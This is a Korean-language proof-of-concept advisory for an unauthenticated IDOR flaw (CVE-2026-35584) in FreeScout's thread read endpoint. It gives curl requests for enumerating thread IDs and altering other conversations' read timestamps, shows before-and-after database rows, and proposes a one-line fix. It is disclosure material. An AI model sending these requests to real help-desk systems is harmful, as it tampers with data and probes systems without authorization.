
FreeScout의 인증되지 않은 IDOR 취약점에 대한 개념 증명 익스플로잇으로, 조작된 HTTP 요청을 통해 스레드 열거 및 읽음 상태 조작을 허용합니다.
POC - CVE-2026-35584 FreeScout
GET /thread/read/{conversation_id}/{thread_id} 엔드포인트는 인증을 요구하지 않으며, 주어진 thread_id가 주어진 conversation_id에 속하는지 검증하지 않습니다. 이를 통해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
임의의 ID를 전달하여 모든 스레드를 읽음 상태로 표시 HTTP 응답 코드(200 vs 404)를 통해 유효한 스레드 ID 열거 대화 간 opened_at 타임스탬프 조작 (IDOR)
영향받는 버전
1.8.211 (최신)
두 개의 대화 생성 (conv_id=1 및 conv_id=2) 대화 2에 스레드 생성 (thread_id=3) 인증 없이 다음 요청 전송: GET /thread/read/1/3 데이터베이스에서 확인 — 잘못된 conversation_id로 접근했음에도 thread_id=3의 opened_at이 설정됨
curl -v "http://TARGET/thread/read/1/3"
HTTP 200을 반환하고 스레드 3의 opened_at을 설정함
인증 불필요 IDOR: thread_id가 conversation_id에 대해 검증되지 않음 스레드 열거: HTTP 200 = 유효한 스레드, 404 = 유효하지 않음 지원 에이전트가 사용하는 읽음/읽지 않음 지표 조작 대화 격리 모델 파괴
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
스레드 열거 (인증 없음)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (유효한 스레드)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (유효한 스레드)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - 스레드가 대화 2에 속함)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (유효하지 않은 스레드)
이전: | id | conversation_id | opened_at | | 3 | 2 | NULL |
GET /thread/read/1/3 (인증 없음) 이후: | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |